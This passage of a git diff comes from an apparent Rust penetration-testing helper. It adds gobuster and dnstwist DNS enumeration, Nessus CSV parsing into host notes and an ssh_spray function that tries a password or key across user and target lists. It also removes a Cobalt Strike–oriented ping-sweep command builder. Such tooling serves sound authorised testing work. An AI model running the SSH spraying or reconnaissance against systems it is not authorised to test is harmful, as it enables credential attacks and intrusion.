if given_wordlist.is_none(){
|
||||||
|
wordlist = get_user_input("path to wordlist?");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
wordlist = given_wordlist.unwrap();
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let mut out_data = String::new();
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("# DNS Enumeration\n");
|
||||||
|
out_data.push_str("## Subdomain Enumeration\n");
|
||||||
|
}
|
||||||
|
let gobuster_thread = spawn( move ||{
|
||||||
|
for domain in domains{
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str(format!("#### {}\n", &domain).as_str());
|
||||||
|
}
|
||||||
|
let gobuster_cmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("gobuster")
|
||||||
|
.arg("dns")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(&domain)
|
||||||
|
.arg("-w")
|
||||||
|
.arg(wordlist.to_owned())
|
||||||
|
.output();
|
||||||
|
if gobuster_cmd_res.is_err(){
|
||||||
|
let error = gobuster_cmd_res.err().unwrap();
|
||||||
|
println!("{}","From gobuster thread: Error running gobuster command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_informational("sleeping for 10 seconds to allow for sudo password input.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||||
|
let gobuster_string = String::from_utf8_lossy(&gobuser_output);
|
||||||
|
let mut final_string = String::new();
|
||||||
|
if gobuster_string.contains("specify the '--wildcard' switch"){
|
||||||
|
let gobuster_cmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("gobuster")
|
||||||
|
.arg("dns")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(&domain)
|
||||||
|
.arg("-w")
|
||||||
|
.arg(wordlist.to_owned())
|
||||||
|
.arg("--wildcard")
|
||||||
|
.output();
|
||||||
|
if gobuster_cmd_res.is_err(){
|
||||||
|
let error = gobuster_cmd_res.err().unwrap();
|
||||||
|
println!("{}","From gobuster thread: Error running gobuster command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let new_gobuser_output = gobuster_cmd_res.unwrap().stdout;
|
||||||
|
let new_gobuser_string = String::from_utf8_lossy(&new_gobuser_output);
|
||||||
|
final_string = new_gobuser_string.to_string();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
final_string = gobuster_string.to_string();
|
||||||
|
}
|
||||||
|
print_success("Gobuster enumeration Done!");
|
||||||
|
let mut domain_names = Vec::new();
|
||||||
|
let lines: Vec<&str> = final_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("Found:"){
|
||||||
|
let domain = line.split_whitespace().collect::<Vec<&str>>()[1];
|
||||||
|
domain_names.push(domain.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out_data.push_str("\n| domain name | ips |\n");
|
||||||
|
out_data.push_str("| ----------- | --- |\n");
|
||||||
|
for name in domain_names{
|
||||||
|
let ips = lookup_host(&name);
|
||||||
|
if ips.is_ok(){
|
||||||
|
let mut ip_string = String::new();
|
||||||
|
for ip in ips.unwrap(){
|
||||||
|
ip_string = format!("{},{}", ip, ip_string);
|
||||||
|
}
|
||||||
|
out_data.push_str(format!("| {} | {} |\n", name, ip_string).as_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("\n---\n");
|
||||||
|
}
|
||||||
|
let write_res = write!(enumeration_file, "{}", out_data);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","FROM Gobuster Thread: error writing notes!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("Subdomains: Bruteforced | Enumeration notes: Written | Gobuster thread out!");
|
||||||
|
});
|
||||||
|
return Some(gobuster_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn dns_squatting(project: &Project, given_domains: Option<&Vec<String>>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_notes = project.notes_folder.clone();
|
||||||
|
enumeration_notes.push("enumeration.md");
|
||||||
|
let open_enumeration_notes_res = OpenOptions::new().append(true).create(true).open(enumeration_notes);
|
||||||
|
if open_enumeration_notes_res.is_err(){
|
||||||
|
let error = open_enumeration_notes_res.err().unwrap();
|
||||||
|
println!("{}","Error opening enumeration notes".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = open_enumeration_notes_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? enter DONE in all caps when you're finished");
|
||||||
|
if domain == "DONE"{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains = given_domains.unwrap().to_owned();
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let squatting_thread = spawn(move || {
|
||||||
|
let write_res = write!(enumeration_file, "### Domain Squatting\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","error writing to enumeration notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
for domain in domains{
|
||||||
|
if standalone{
|
||||||
|
write!(enumeration_file, "#### {}\n", domain).unwrap();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n| type | domain name | ns servers |\n").unwrap();
|
||||||
|
write!(enumeration_file, "| ---- | ----------- | ---------- |\n").unwrap();
|
||||||
|
let twist_output = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("dnstwist")
|
||||||
|
.arg("-r")
|
||||||
|
.arg(domain)
|
||||||
|
.output();
|
||||||
|
if twist_output.is_err(){
|
||||||
|
let error = twist_output.err().unwrap();
|
||||||
|
println!("{}","From DNSTwist thread: Error running dnstwist command!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_informational("sleeping for 10 seconds to get sudo password.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let twist_output_vec = twist_output.unwrap().stdout;
|
||||||
|
let output_string = String::from_utf8_lossy(&twist_output_vec);
|
||||||
|
let output_lines = output_string.split("\n");
|
||||||
|
for line in output_lines{
|
||||||
|
if line.len() > 0{
|
||||||
|
let words: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
let twist_type = words[0];
|
||||||
|
let name = words[1];
|
||||||
|
let ns_servers = words[2..].join(" ");
|
||||||
|
write!(enumeration_file, "| {} | {} | {} |\n", twist_type, name, ns_servers).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
print_success("Domains: Squatted | Notes: Written | DNSTwist thread OUT!");
|
||||||
|
return Some(squatting_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn do_all_dns_enumeration(project: &Project) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_path = project.notes_folder.clone();
|
||||||
|
enumeration_path.push("enumeration.md");
|
||||||
|
let enumeration_file_res = OpenOptions::new().append(true).create(true).open(enumeration_path);
|
||||||
|
if enumeration_file_res.is_err(){
|
||||||
|
let error = enumeration_file_res.err().unwrap();
|
||||||
|
println!("{}","error opening enumeration notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? enter DONE in all caps when you're finished");
|
||||||
|
if domain == "DONE"{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let wordlist = get_user_input("path to wordlist for sub domain bruteforcing?");
|
||||||
|
print_informational("target data gathered. Spawning threads to do enumeration...");
|
||||||
|
let working_project = project.clone();
|
||||||
|
let all_dns_handle = spawn(move ||{
|
||||||
|
let mut write_success = true;
|
||||||
|
let write_res = write!(enumeration_file, "# DNS Enumeration\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","From All DNS thread: Error writing notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
write_success = false;
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
for domain in &domains{
|
||||||
|
let thread_domain = vec![domain.to_owned()];
|
||||||
|
write!(enumeration_file, "## {}\n", &domain).unwrap();
|
||||||
|
write!(enumeration_file, "### DNS Records\n").unwrap();
|
||||||
|
let dns_enum_thread = run_dns_enumeration(&working_project, Some(&thread_domain), false);
|
||||||
|
if dns_enum_thread.is_some(){
|
||||||
|
let _ = dns_enum_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "### Subdomain Enumeration\n").unwrap();
|
||||||
|
let gobuster_thread = bruteforce_subs(&working_project, Some(&thread_domain), Some(wordlist.to_owned()), false);
|
||||||
|
if gobuster_thread.is_some(){
|
||||||
|
let _ = gobuster_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "### Domain Squatting\n").unwrap();
|
||||||
|
let twist_thread = dns_squatting(&working_project, Some(&thread_domain), false);
|
||||||
|
if twist_thread.is_some(){
|
||||||
|
let _ = twist_thread.unwrap().join();
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
|
print_success("All DNS Enum threads finished, notes have been written. DNS Enumeration Thread OUT!");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(all_dns_handle);
|
||||||
|
}
|
||||||
177
pentest_tool/src/exploit.rs
Normal file
177
pentest_tool/src/exploit.rs
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use ssh;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::get_user_input;
|
||||||
|
|
||||||
|
pub fn ssh_spray(user_path: Option<&PathBuf>,
|
||||||
|
target_path: Option<&PathBuf>,
|
||||||
|
given_data: Option<String>,
|
||||||
|
key: bool)
|
||||||
|
-> Option<String>{
|
||||||
|
let mut display = true;
|
||||||
|
//if given_data.is_some(){
|
||||||
|
// display = false;
|
||||||
|
// }
|
||||||
|
let mut return_data = String::new();
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
let mut users = Vec::new();
|
||||||
|
let mut ports = Vec::new();
|
||||||
|
let mut spray_data = String::new();
|
||||||
|
let mut success = Vec::new();
|
||||||
|
print_informational("getting paths to data files...");
|
||||||
|
match display{
|
||||||
|
true => {
|
||||||
|
print_informational("getting paths to data files...");
|
||||||
|
let users_read_res = read_to_string(get_user_input("path to the username file?"));
|
||||||
|
let target_read_res = read_to_string(get_user_input("path to targets file?"));
|
||||||
|
if users_read_res.is_err(){
|
||||||
|
print_error("error reading users file!", users_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let users_string = users_read_res.unwrap();
|
||||||
|
if target_read_res.is_err(){
|
||||||
|
print_error("error reading target file!", target_read_res.err().unwrap().to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let target_string = target_read_res.unwrap();
|
||||||
|
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||||
|
let temp_targets: Vec<&str> = target_string.split("\n").collect();
|
||||||
|
for user in temp_users{
|
||||||
|
users.push(String::from(user));
|
||||||
|
print_informational(format!("{} loaded!", user));
|
||||||
|
}
|
||||||
|
print_informational("the default ports to try are 22 and 2222.");
|
||||||
|
if get_user_input("continue with the defaults?").contains("y"){
|
||||||
|
ports.push(String::from("22"));
|
||||||
|
ports.push(String::from("2222"));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
loop{
|
||||||
|
let new_port = get_user_input("new port to add? enter END in all caps when done.");
|
||||||
|
if new_port.contains("END"){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ports.push(new_port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in temp_targets{
|
||||||
|
for port in &ports{
|
||||||
|
let new_target = format!("{}:{}", target, port);
|
||||||
|
targets.push(String::from(new_target));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if key{
|
||||||
|
spray_data = get_user_input("path to key file?");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
spray_data = get_user_input("password to spray?");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false => {
|
||||||
|
if user_path.is_none(){
|
||||||
|
return_data.push_str("\nno username file provided!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if target_path.is_none(){
|
||||||
|
return_data.push_str("\nno target file provided!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if given_data.is_none(){
|
||||||
|
return_data.push_str("\nno password or key file provided!\nexiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
let users_read_res = read_to_string(user_path.unwrap());
|
||||||
|
let target_read_res = read_to_string(target_path.unwrap());
|
||||||
|
spray_data = given_data.unwrap();
|
||||||
|
if users_read_res.is_err(){
|
||||||
|
return_data.push_str("\nerror reading user file!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if target_read_res.is_err(){
|
||||||
|
return_data.push_str("\nerror reading target file!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
let users_string = users_read_res.unwrap();
|
||||||
|
let targets_string = target_read_res.unwrap();
|
||||||
|
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||||
|
let temp_targets: Vec<&str> = targets_string.split("\n").collect();
|
||||||
|
for user in temp_users{
|
||||||
|
users.push(String::from(user));
|
||||||
|
}
|
||||||
|
for target in temp_targets{
|
||||||
|
targets.push(String::from(target));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if display{
|
||||||
|
print_informational("spraying useers...");
|
||||||
|
}
|
||||||
|
match key{
|
||||||
|
true => {
|
||||||
|
for target in targets{
|
||||||
|
for user in &users{
|
||||||
|
let session_res = ssh::create_session().username(user.as_str()).private_key_path(&spray_data).connect(&target);
|
||||||
|
if session_res.is_err(){
|
||||||
|
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||||
|
if display{
|
||||||
|
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let session = session_res.unwrap();
|
||||||
|
let out_string = format!("{}@{}", user, target);
|
||||||
|
success.push(out_string.clone());
|
||||||
|
if display{
|
||||||
|
print_success(out_string);
|
||||||
|
}
|
||||||
|
session.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
false => {
|
||||||
|
for target in targets{
|
||||||
|
for user in &users{
|
||||||
|
let information_text = format!("testing {} on {}", user, target);
|
||||||
|
print_informational(information_text);
|
||||||
|
let session_res = ssh::create_session().username(user.as_str()).password(&spray_data).connect(&target);
|
||||||
|
if session_res.is_err(){
|
||||||
|
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||||
|
if display{
|
||||||
|
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let session = session_res.unwrap();
|
||||||
|
let out_string = format!("{}@{}", user, target);
|
||||||
|
success.push(out_string.clone());
|
||||||
|
if display{
|
||||||
|
print_success(out_string);
|
||||||
|
}
|
||||||
|
session.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let return_data = success.join("\n");
|
||||||
|
if display{
|
||||||
|
println!("these are the successful sprays!");
|
||||||
|
print_success(return_data);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,94 +1,179 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::fmt::write;
|
||||||
use std::fs;
|
use std::fs;
|
||||||
use std::fs::read_to_string;
|
use std::fs::read_to_string;
|
||||||
|
use std::fs::OpenOptions;
|
||||||
use std::io::BufReader;
|
use std::io::BufReader;
|
||||||
use std::io::Read;
|
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::process;
|
|
||||||
use std::result;
|
|
||||||
use std::thread;
|
use std::thread;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
use std::io::stdin;
|
use std::io::stdin;
|
||||||
|
use colored::Colorize;
|
||||||
use walkdir::WalkDir;
|
use walkdir::WalkDir;
|
||||||
use clearscreen::clear;
|
use clearscreen::clear;
|
||||||
use clearscreen;
|
use clearscreen;
|
||||||
use rodio::{Decoder, OutputStream, Sink};
|
use rodio::{Decoder, OutputStream, Sink};
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::print_success;
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn run_initial_enum(project: &Project){
|
pub fn run_initial_enum(project: &Project){
|
||||||
let mut csv = String::new();
|
#[derive(Clone)]
|
||||||
println!("path to the csv?");
|
struct Target {
|
||||||
std::io::stdin().read_line(&mut csv).unwrap();
|
address: String,
|
||||||
let status = process::Command::new("initial_recon").arg(&csv).arg(&project.customer).arg(&project.project_name).status().expect("error running initial_recon program");
|
ports: Vec<String>
|
||||||
if status.success(){
|
|
||||||
println!("execllent! hosts should be imported to {}/host_notes.md", &project.notes_folder.display());
|
|
||||||
}
|
}
|
||||||
else{
|
|
||||||
println!("ooof something went wrong, host notes may not have saved correctly!");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn build_cmd_for_host_discovery(project: &Project){
|
let mut targets:Vec<Target> = Vec::new();
|
||||||
let mut cobalt_strike_response = String::new();
|
println!("log into nessus and export a report, only checking the host, protocol, and port boxes");
|
||||||
let mut need_shell = false;
|
let mut host_notes_path = project.notes_folder.clone();
|
||||||
println!("will you be running this via cobalt strike? (do you need it to start with \"shell\"?");
|
let mut attack_notes_path = project.notes_folder.clone();
|
||||||
let input_result = std::io::stdin().read_line(&mut cobalt_strike_response);
|
host_notes_path.push("host_notes.md");
|
||||||
if input_result.is_err(){
|
attack_notes_path.push("attacks");
|
||||||
println!("error getting user input... not really sure how you did this... just pressing enter would work..... wow");
|
let csv_path = get_user_input("path to nessus report CSV?");
|
||||||
|
let csv_read_res = fs::read_to_string(&csv_path);
|
||||||
|
if csv_read_res.is_err(){
|
||||||
|
let error = csv_read_res.err().unwrap();
|
||||||
|
println!("{}","error reading csv!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if cobalt_strike_response.to_lowercase().contains("y"){
|
let csv_data = csv_read_res.unwrap();
|
||||||
need_shell = true;
|
for line in csv_data.split("\n").collect::<Vec<&str>>(){
|
||||||
}
|
if line.len() > 1{
|
||||||
let mut general_note_path = project.notes_folder.clone();
|
let data: Vec<&str> = line.split(",").collect();
|
||||||
general_note_path.push("general.md");
|
let address = data[0].replace("\"", "").trim().to_owned();
|
||||||
println!("Reading from: {}", general_note_path.display());
|
let port = data[2].replace("\"", "").trim().to_owned();
|
||||||
let mut ranges = Vec::new();
|
let protocol = data[1].replace("\"", "").trim().to_owned();
|
||||||
let general_note_string = read_to_string(general_note_path);
|
if &address == &"Host"{
|
||||||
let mut _note_string = String::new();
|
continue;
|
||||||
match general_note_string{
|
}
|
||||||
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
else if &port == &"0"{
|
||||||
_=> _note_string = general_note_string.unwrap()
|
continue;
|
||||||
}
|
}
|
||||||
let lines: Vec<&str> = _note_string.split("\n").collect();
|
let port_entry = format!("{}:{}", &protocol, &port);
|
||||||
for line in lines{
|
let mut is_new = true;
|
||||||
if line.contains("|"){
|
for target in &mut targets{
|
||||||
if line.contains("."){
|
if target.address == address{
|
||||||
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
if !target.ports.contains(&port_entry){
|
||||||
if ip .contains(","){
|
target.ports.push(port_entry.clone());
|
||||||
let ips: Vec<&str> = ip.split(",").collect();
|
|
||||||
for ip in ips{
|
|
||||||
ranges.push(ip.trim_end().trim_start());
|
|
||||||
}
|
}
|
||||||
|
is_new = false;
|
||||||
}
|
}
|
||||||
else{
|
}
|
||||||
ranges.push(ip.trim_end().trim_start());
|
if is_new{
|
||||||
}
|
let new_target = Target{address: address.to_owned(), ports: vec![port_entry.clone()]};
|
||||||
|
targets.push(new_target);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let mut _discovery_command = "";
|
for target in &targets{
|
||||||
_discovery_command = "(for /L %a IN (1,1,254) DO ping /n 1 /w 3 !!!.%a) | find \"Reply\"";
|
let host_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&host_notes_path);
|
||||||
let mut final_command = String::new();
|
if host_notes_open_res.is_err(){
|
||||||
for range in ranges{
|
let error = host_notes_open_res.err().unwrap();
|
||||||
let mut network: Vec<&str> = range.split(".").collect();
|
println!("{}","error opening host notes file!".red());
|
||||||
network.pop();
|
println!("{}", error.to_string().red());
|
||||||
let network_string = network.join(".");
|
return;
|
||||||
let mut _range_command = String::new();
|
|
||||||
if need_shell{
|
|
||||||
_range_command = format!("{}{}","shell ", _discovery_command.replace("!!!", &network_string));
|
|
||||||
need_shell = false;
|
|
||||||
}
|
}
|
||||||
else{
|
let host_notes = host_notes_open_res.unwrap();
|
||||||
_range_command = _discovery_command.replace("!!!", &network_string);
|
let attack_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&attack_notes_path);
|
||||||
|
if attack_notes_open_res.is_err(){
|
||||||
|
let error = attack_notes_open_res.err().unwrap();
|
||||||
|
println!("{}","error opening attack notes!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for target in targets.clone(){
|
||||||
|
let mut output = format!("# {}\n## Ports\n| port | service | attack notes |\n| ----- | ------- | ------------ |\n", target.address);
|
||||||
|
for port in target.ports{
|
||||||
|
output.push_str(format!("| {} | | [[attacks]]\n", port).as_str());
|
||||||
|
}
|
||||||
|
output.push_str("\n");
|
||||||
|
write!(&host_notes, "{}", output).expect("error writing host_notes");
|
||||||
|
println!("{} notes written!", target.address);
|
||||||
}
|
}
|
||||||
final_command.push_str(_range_command.as_str());
|
|
||||||
final_command.push_str(">> ping_only_replies.txt &");
|
|
||||||
}
|
}
|
||||||
final_command.pop();
|
|
||||||
println!("{}", final_command);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*pub fn build_external_attack_notes(project: &Project){
|
||||||
|
#[derive(Clone)]
|
||||||
|
struct Port{
|
||||||
|
service: String,
|
||||||
|
hosts: Vec<String>
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut ports: Vec<Port> = Vec::new();
|
||||||
|
let mut host_notes_path = project.notes_folder.clone();
|
||||||
|
host_notes_path.push("host_notes.md");
|
||||||
|
let mut attack_notes_path = project.notes_folder.clone();
|
||||||
|
attack_notes_path.push("attacks.md");
|
||||||
|
let host_notes_read_res = fs::read_to_string(host_notes_path);
|
||||||
|
if host_notes_read_res.is_err(){
|
||||||
|
let error = host_notes_read_res.err().unwrap();
|
||||||
|
println!("error reading host notes");
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let host_notes_string = host_notes_read_res.unwrap();
|
||||||
|
let host_parts: Vec<&str> = host_notes_string.split("---").collect();
|
||||||
|
let mut host = String::new();
|
||||||
|
for part in host_parts{
|
||||||
|
let lines: Vec<&str> = part.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("# "){
|
||||||
|
if !line.contains("## "){
|
||||||
|
host = line.split("# ").collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if line.contains("|"){
|
||||||
|
if line.contains(":"){
|
||||||
|
let entries: Vec<&str> = line.split("|").collect();
|
||||||
|
let service = entries[2].trim().to_owned();
|
||||||
|
for entry in entries{
|
||||||
|
if entry.contains(":"){
|
||||||
|
let port_number = entry.trim().to_owned();
|
||||||
|
let mut new = true;
|
||||||
|
for port in &mut ports{
|
||||||
|
if port.service == service{
|
||||||
|
new = false;
|
||||||
|
let host_entry = format!("{} {}", host.clone(), port_number.clone());
|
||||||
|
port.hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
match new{
|
||||||
|
true => {let new_port = Port{service: service.clone(), hosts: vec![format!("{} {}", host.clone(), port_number.clone())]}; ports.push(new_port);},
|
||||||
|
false => ()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("{} parsed!", host);
|
||||||
|
}
|
||||||
|
println!("parsed host_notes.md, writing to attacks.md...");
|
||||||
|
let attack_open_res = open_append(&attack_notes_path);
|
||||||
|
if attack_open_res.is_none(){
|
||||||
|
println!("ooof error opening attack notes, returning...");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut attack_file = attack_open_res.unwrap();
|
||||||
|
write!(attack_file, "\n---\n").expect("since we used the open options already this should never fail.");
|
||||||
|
for port in ports.clone(){
|
||||||
|
write!(attack_file, "# {}\n", port.service).expect("since we used the open options already this should never fail.");
|
||||||
|
write!(attack_file, "HOSTS:\n").expect("since we used the open options already this should never fail.");
|
||||||
|
for host in port.hosts{
|
||||||
|
write!(attack_file, "## {}\n\n", host).expect("since we used the open options already this should never fail.");
|
||||||
|
write!(attack_file, "\n---\n").expect("since we used the open options already this should never fail.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
pub fn generate_userpass(project: &Project){
|
pub fn generate_userpass(project: &Project){
|
||||||
let mut outlines = Vec::new();
|
let mut outlines = Vec::new();
|
||||||
let mut notes_file = project.notes_folder.clone();
|
let mut notes_file = project.notes_folder.clone();
|
||||||
@@ -114,7 +199,7 @@ pub fn generate_userpass(project: &Project){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn open_in_dolphin(folder: &str, project: Project){
|
/*pub fn open_in_dolphin(folder: &str, project: Project){
|
||||||
let mut to_open = PathBuf::new();
|
let mut to_open = PathBuf::new();
|
||||||
match folder{
|
match folder{
|
||||||
"notes" => to_open.push(project.notes_folder),
|
"notes" => to_open.push(project.notes_folder),
|
||||||
@@ -124,71 +209,118 @@ pub fn open_in_dolphin(folder: &str, project: Project){
|
|||||||
process::Command::new("dolphin")
|
process::Command::new("dolphin")
|
||||||
.arg(to_open)
|
.arg(to_open)
|
||||||
.spawn().expect("error opening dolphin");
|
.spawn().expect("error opening dolphin");
|
||||||
}
|
}*/
|
||||||
|
|
||||||
pub fn print_report_information(project: Project){
|
pub fn print_report_information(project: &Project){
|
||||||
let mut general_notes_path = project.notes_folder.clone();
|
let scope = get_scope_entries(project);
|
||||||
let mut finding_notes_path = project.notes_folder.clone();
|
println!("Project: {} {}", project.customer, project.project_name);
|
||||||
general_notes_path.push("general.md ");
|
if scope.is_some(){
|
||||||
finding_notes_path.push("findings.md ");
|
println!("SCOPE:");
|
||||||
println!("general: {}\nfindings: {}", general_notes_path.display(), finding_notes_path.display());
|
for entry in scope.unwrap(){
|
||||||
let general_string = fs::read_to_string(general_notes_path).expect("error opening general notes");
|
println!("{}", entry);
|
||||||
let findings_string = fs::read_to_string(finding_notes_path).expect("error opening findings notes");
|
|
||||||
let general_lines: Vec<&str> = general_string.split("\n").collect();
|
|
||||||
let finding_lines: Vec<&str> = findings_string.split("\n").collect();
|
|
||||||
println!("Scope:");
|
|
||||||
for line in general_lines{
|
|
||||||
if line.contains("|"){
|
|
||||||
let split: Vec<&str> = line.split("|").collect();
|
|
||||||
println!("{}\t{}", split[0], split[2]);
|
|
||||||
}
|
}
|
||||||
|
println!("\n\n");
|
||||||
}
|
}
|
||||||
println!("Findings");
|
let mut notes_path = project.notes_folder.clone();
|
||||||
for line in finding_lines{
|
notes_path.push("enumeration.md");
|
||||||
if line.contains("# "){
|
if notes_path.exists(){
|
||||||
println!("{}", line);
|
let enumeration_read_res = fs::read_to_string(notes_path);
|
||||||
|
